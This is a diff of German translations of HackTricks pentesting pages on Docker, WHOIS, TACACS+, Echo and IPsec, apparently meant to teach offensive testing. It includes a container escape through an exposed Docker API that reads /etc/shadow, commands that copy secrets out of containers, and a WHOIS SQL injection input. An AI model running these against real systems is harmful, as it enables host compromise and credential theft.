* [**runc**](http://runc.io): Geschätzt für seine **leichte und universelle Containerlaufzeit**-Fähigkeiten, ist runc mit dem **OCI-Standard** in Einklang. Es wird von containerd verwendet, um **Container zu starten und zu verwalten** gemäß den **OCI-Richtlinien**, nachdem es sich aus dem ursprünglichen **libcontainer** entwickelt hat.
|
||||
* [**grpc**](http://www.grpc.io) ist entscheidend für die **Erleichterung der Kommunikation** zwischen containerd und der **docker-engine**, um eine **effiziente Interaktion** zu gewährleisten.
|
||||
* Die [**OCI**](https://www.opencontainers.org) ist entscheidend für die Aufrechterhaltung der **OCI-Spezifikationen** für Laufzeiten und Bilder, wobei die neuesten Docker-Versionen **konform mit den OCI-Bild- und Laufzeitstandards** sind.
|
||||
|
||||
|
@ -68,11 +55,11 @@ docker system prune -a
|
|||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu erfüllen. Es zielt darauf ab, die **Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
|
||||
**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Container-Plattformen wie **Docker und Kubernetes** zu bedienen. Es zielt darauf ab, die **Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen.
|
||||
|
||||
Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
|
||||
Eine wichtige Designentscheidung ist, dass **Containerd das Networking nicht behandelt**. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Service Discovery, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt.
|
||||
|
||||
Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagementfähigkeiten, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Schwärmen. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist.
|
||||
Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagement-Funktionen, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Swarms. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
|
@ -98,7 +85,7 @@ Podman ist so konzipiert, dass es mit der Docker-API kompatibel ist, was die Ver
|
|||
|
||||
* **Architektur**: Im Gegensatz zum Client-Server-Modell von Docker mit einem Hintergrund-Daemon arbeitet Podman ohne Daemon. Dieses Design bedeutet, dass Container mit den Rechten des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, da der Bedarf an Root-Zugriff entfällt.
|
||||
* **Systemd-Integration**: Podman integriert sich mit **systemd**, um Container zu verwalten, was die Containerverwaltung über systemd-Einheiten ermöglicht. Dies steht im Gegensatz zur Verwendung von systemd durch Docker, das hauptsächlich zur Verwaltung des Docker-Daemon-Prozesses dient.
|
||||
* **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers und nicht den Root-Zugriff erlangen.
|
||||
* **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers erlangen, nicht den Root-Zugriff.
|
||||
|
||||
Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, die das Management von Benutzerprivilegien und die Kompatibilität mit bestehenden Docker-Workflows betont.
|
||||
|
||||
|
@ -161,7 +148,7 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Wenn Sie **die entfernte Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren.
|
||||
Wenn Sie **die entfernte Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **Docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren.
|
||||
|
||||
{% hint style="info" %}
|
||||
Sie können `export DOCKER_HOST="tcp://localhost:2375"` verwenden und **vermeiden**, den `-H`-Parameter mit dem Docker-Befehl zu verwenden.
|
||||
|
@ -218,7 +205,7 @@ Auf der folgenden Seite finden Sie Möglichkeiten, um **aus einem Docker-Contain
|
|||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Durch den Missbrauch davon ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, aus ihm entkommen und die Maschine kompromittieren:
|
||||
Durch den Missbrauch davon ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, von ihm entkommen und die Maschine kompromittieren:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
|
@ -234,7 +221,7 @@ Wenn Sie sich auf einem Host befinden, der Docker verwendet, können Sie [**dies
|
|||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse, und Sie könnten finden:
|
||||
Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse, und Sie könnten Folgendes finden:
|
||||
|
||||
* Passwörter.
|
||||
* IPs.
|
||||
|
@ -246,9 +233,9 @@ Wenn Sie eine Datei extrahieren möchten:
|
|||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
### Sichern Sie Ihr Docker
|
||||
### Securing your Docker
|
||||
|
||||
#### Sichern der Docker-Installation und -Nutzung
|
||||
#### Securing Docker installation and usage
|
||||
|
||||
* Sie können das Tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) verwenden, um Ihre aktuelle Docker-Installation zu überprüfen.
|
||||
* `./docker-bench-security.sh`
|
||||
|
@ -259,13 +246,13 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
#### Sichern von Docker-Images
|
||||
#### Securing Docker Images
|
||||
|
||||
* Sie können ein Docker-Image von [https://github.com/quay/clair](https://github.com/quay/clair) verwenden, um Ihre anderen Docker-Images zu scannen und Schwachstellen zu finden.
|
||||
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||||
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||||
|
||||
#### Sichern von Dockerfiles
|
||||
#### Securing Dockerfiles
|
||||
|
||||
* Sie können das Tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) verwenden, um **Ihr Dockerfile zu inspizieren** und alle Arten von Fehlkonfigurationen zu finden. Jede Fehlkonfiguration erhält eine ID, die Sie hier finden können [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), um jede von ihnen zu beheben.
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
@ -287,10 +274,10 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
![](<../.gitbook/assets/image (501).png>)
|
||||
|
||||
#### Protokollierung verdächtiger Aktivitäten
|
||||
#### Logging Suspicious activity
|
||||
|
||||
* Sie können das Tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) verwenden, um **verdächtiges Verhalten in laufenden Containern zu erkennen**.
|
||||
* Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einen davon mit einer sensiblen Einbindung, und nach einigen Sekunden erkannte es, wie eine Shell innerhalb eines der Container geöffnet wurde.
|
||||
* Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt, verdächtige Aktivitäten zu protokollieren**. In diesem Fall wurden 2 privilegierte Container gestartet, einer davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, wie eine Shell innerhalb eines der Container geöffnet wurde.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
@ -340,17 +327,6 @@ Sie können auditd verwenden, um Docker zu überwachen.
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das **WHOIS**-Protokoll dient als Standardmethode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen.
|
||||
|
@ -39,22 +31,16 @@ Holen Sie sich alle Informationen, die ein Whois-Dienst über eine Domain hat:
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Notice, dass manchmal bei der Anfrage nach Informationen von einem WHOIS-Dienst die verwendete Datenbank in der Antwort erscheint:
|
||||
Beachten Sie, dass manchmal bei der Anfrage nach Informationen von einem WHOIS-Dienst die verwendete Datenbank in der Antwort erscheint:
|
||||
|
||||
![](<../.gitbook/assets/image (301).png>)
|
||||
|
||||
Außerdem muss der WHOIS-Dienst immer eine **Datenbank** verwenden, um die Informationen zu speichern und abzurufen. Daher könnte eine mögliche **SQLInjection** vorhanden sein, wenn **Abfragen** an die Datenbank mit Informationen, die vom Benutzer bereitgestellt werden, durchgeführt werden. Zum Beispiel durch: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` könntest du in der Lage sein, **alle** **Informationen** abzurufen, die in der Datenbank gespeichert sind.
|
||||
Außerdem muss der WHOIS-Dienst immer eine **Datenbank** verwenden, um die Informationen zu speichern und abzurufen. Daher könnte eine mögliche **SQLInjection** vorhanden sein, wenn die **Datenbank** mit Informationen, die vom Benutzer bereitgestellt werden, **abgefragt** wird. Zum Beispiel durch Ausführen von: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` könnten Sie in der Lage sein, **alle** **Informationen** abzurufen, die in der Datenbank gespeichert sind.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Das **Terminal Access Controller Access Control System (TACACS)**-Protokoll wird verwendet, um Benutzer, die versuchen, auf Router oder Network Access Servers (NAS) zuzugreifen, zentral zu validieren. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Abrechnung (AAA).
|
||||
Das **Terminal Access Controller Access Control System (TACACS)** Protokoll wird verwendet, um Benutzer, die versuchen, auf Router oder Network Access Servers (NAS) zuzugreifen, zentral zu validieren. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Abrechnung (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
@ -46,34 +38,29 @@ Ein **ARP-Spoofing-Angriff kann genutzt werden, um einen Man-in-the-Middle (MitM
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
Wenn der Schlüssel erfolgreich **bruteforced** (**normalerweise im MD5-verschlüsselten Format**), **können wir auf die Geräte zugreifen und den TACACS-verschlüsselten Datenverkehr entschlüsseln.**
|
||||
|
||||
### Decrypting Traffic
|
||||
Sobald der Schlüssel erfolgreich geknackt wurde, besteht der nächste Schritt darin, den **TACACS-verschlüsselten Verkehr zu entschlüsseln**. Wireshark kann verschlüsselten TACACS-Verkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Verkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin-Benutzers** gewonnen werden.
|
||||
### Entschlüsselung des Datenverkehrs
|
||||
Sobald der Schlüssel erfolgreich geknackt wurde, besteht der nächste Schritt darin, den **TACACS-verschlüsselten Datenverkehr zu entschlüsseln**. Wireshark kann verschlüsselten TACACS-Datenverkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Datenverkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin**-Benutzers erhalten werden.
|
||||
|
||||
Durch den Zugriff auf das Kontrollpanel der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken durchgeführt werden und ohne entsprechende Genehmigung nicht verwendet werden sollten.
|
||||
Durch den Zugriff auf das Kontrollpanel der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken dienen und nicht ohne entsprechende Genehmigung verwendet werden sollten.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -13,14 +13,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Grundinformationen
|
||||
|
||||
|
@ -46,28 +38,22 @@ Hello echo #This is the response
|
|||
|
||||
## References
|
||||
|
||||
[Wikipedia echo](http://de.wikipedia.org/wiki/ECHO\_protocol)
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,30 @@
|
|||
# 500/udp - Pentesting IPsec/IKE VPN
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**IPsec** wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Remote-Zugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen.
|
||||
|
||||
Die Einrichtung einer **Sicherheitsassoziation (SA)** zwischen zwei Punkten wird von **IKE** verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess verläuft in mehreren Phasen:
|
||||
|
||||
* **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus verwendet wird, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus**.
|
||||
* **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus** verwendet wird.
|
||||
* **Phase 1.5:** Obwohl nicht obligatorisch, verifiziert diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind.
|
||||
* **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten und die Sicherheit zu erhöhen.
|
||||
* **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten, was die Sicherheit erhöht.
|
||||
|
||||
**Standardport:** 500/udp
|
||||
|
||||
|
@ -50,7 +42,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
|
||||
Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder einige wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. **Jede Transformation** enthält eine Anzahl von Attributen wie DES oder 3DES als **Verschlüsselungsalgorithmus**, SHA oder MD5 als **Integritätsalgorithmus**, einen Pre-Shared Key als **Authentifizierungstyp**, Diffie-Hellman 1 oder 2 als **Schlüsselverteilungsalgorithmus** und 28800 Sekunden als **Lebensdauer**.
|
||||
|
||||
